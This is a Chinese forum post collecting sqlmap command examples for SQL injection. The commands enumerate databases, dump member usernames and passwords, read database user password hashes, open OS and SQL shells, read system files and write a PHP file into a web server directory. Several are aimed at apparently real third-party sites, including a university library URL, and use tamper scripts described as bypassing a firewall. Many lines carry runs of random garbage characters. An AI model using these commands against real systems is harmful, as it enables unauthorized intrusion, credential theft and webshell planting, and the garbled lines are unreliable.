找回密码
 立即注册
查看: 3269|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap4 e' O! |; N" m6 j/ J
. v( @; d4 B9 ]8 l: e$ N$ n
update :::::>     in the folder   after  execute    following   order : svn update
1 ~; o( @: g6 X& \# [4 x' s$ p2 b4 I& L  v- C" t
sqlmap.py -r 1.txt --current-db
1 S1 H8 L* p& s) \" g: @9 v6 |  b$ f1 |$ {
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
5 u& i) ]$ I+ D  u+ F0 c! c& W* J- W; n5 Z) P
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
" q% q8 O# ?) T/ w* I+ K5 X猜解数据库
$ S' d4 P( |4 w1 l) o) `" k/ v6 M./sqlmap.py -u "injection-url" --dbs
5 A: [! u  E9 Z' lsqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"% z* }+ V% y/ [$ a0 n7 M
7 t! s7 O' [2 H) `* O4 ~
猜解表名" a1 v1 t" R6 }; f+ K
./sqlmap.py -u "injection-url" -D database_name --tables
1 B/ i2 Y+ s% S/ [' x0 |$ G9 u- g
+ R9 h# i( J! ^0 @sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"1 N0 C( B9 C# Q8 F/ D9 N
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
* n9 h( `+ F) Z, r  M
' L' l6 s1 r: w4 csqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump3 R/ j; V. P2 R0 X# W$ w& h( A1 j- \- `

+ i- b" A4 ~, h2 N, u; Y0 W8 Esqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
8 w% F. k- d" m3 Tsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
* V7 c5 r4 ?# Xsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" 0 s' V6 \$ A4 U
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
: W# d! o' k! t" x$ V9 {# D
; f# q2 Q& w" N! u3 N5 A* Rsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
( R% @* z* p5 h2 c/ f8 P2 Vsqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
9 u4 f; z8 w# Psqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
7 Z1 G8 ~/ U' I2 o, H6 \! Xsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
$ Q6 M- ~& q+ k& N, m/ n; U8 Jsqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump4 z  q4 i! a. g

1 v9 C4 z- k/ t0 a: D5 dsqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了. A' Y- i; ~6 I" I
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"' C( l6 d5 N3 }
, l: ]7 M$ T3 P% c2 T+ X7 C  T# O
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"( l0 I' n3 @# z- s! R7 {
猜解列名
) d+ e  N' d4 m+ D" N./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
6 o# B# [% z6 x8 g6 A7 k0 ]
0 S: U9 r  W9 y# asqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" 0 E2 H' u) z* ]
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" ) O/ c# F- W9 D* Q0 C
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"2 U7 W; j) z  e" K; i' k/ y

; J& L0 x5 n2 Y- v/ h2 usqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
( {( |3 u) G/ ^# {- u( P' n/ D) X5 l&submit=Go
% j$ ^; i+ m7 V5 W猜解值
" H/ a+ {  N/ S$ S( c( Z./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
4 S! u7 T2 |9 ~  ^! ^========================================================
* I: m; l+ _4 ]" a6 J搜索表名中包括mana字符的
2 h- C2 K8 Z% Y: W- r! Y/sqlmap.py -u "injection-url" -T mana --search" A) C9 j4 P' e& k
返回一个交互式sql shell/ e8 @3 S% N7 O/ ?) Q
/sqlmap.py -u "injection-url" --sql-shell0 N* W1 |$ H5 p$ y/ q3 s& [; V- Z
读取指定文件(需权限)
3 s: Y( r, h: b$ ^$ e/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"  l. N0 R1 Y, r
查看当前 用户 及 数据库
6 y% X8 N$ `& s* X. R6 Q/sqlmap.py -u "injection-url" --current-user --current-db- m2 k/ z: o( Z! M* h5 `
本地文件 写入 远程目标绝对路径
7 l; `6 D* }( {. y  G5 c$ u% g/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
9 O$ |, ^+ `: a( g0 @9 Psqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
3 C9 _& P# m8 g7 e+ N: E) t4 W" F* l0 {; b3 d% u$ L+ \
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
. U0 p. R1 \- [( A3 j  C查看某用的权限
( V- z' }. {0 W! r6 a4 _$ Q/sqlmap.py -u "injection-url" --privileges -U root
$ O& P% H; V& g# ]) ~  x. n查看当前用户是否为dba
' v' P. o# b/ R  Y3 _; `/sqlmap.py -u "injection-url" --is-dba* q* `. R  T3 n( F. p. ^! M
读取所有数据库用户或指定数据库用户的密码
0 V4 O/ |4 R, U( b/ B# i& H% |sqlmap.py -r 1.txt --users --passwords) j3 z- V2 s0 j  D6 |$ B5 M( O
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" ( q7 X% i8 }2 s# b) S" Y/ J+ R
6 u& \- Z9 q# U+ [, K% l
/sqlmap.py -u "injection-url" --passwords -U root
2 @' P: O! Z  \9 Z+ e' r0 x/ r% b. q: ?: x- a
--start&&--stop 与 --first&&--last 的区别
  g0 y4 I) }7 j/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)$ h& {3 I, ?& |
' q1 Y4 Z# M0 F/ g+ a
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
' ?7 f* G* |; g/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
& z) ^0 b# F* S3 A6 z8 k/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns3 I( _4 B5 t) k, o  a/ U& P
6 V7 ?! Y. R/ h4 w- E" R; Z3 k
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)- T. E0 p: _% \8 T- y: k% _
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
* `6 k6 L  b. i  q6 a
3 f" M  m$ O1 x% r6 O1 g9 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表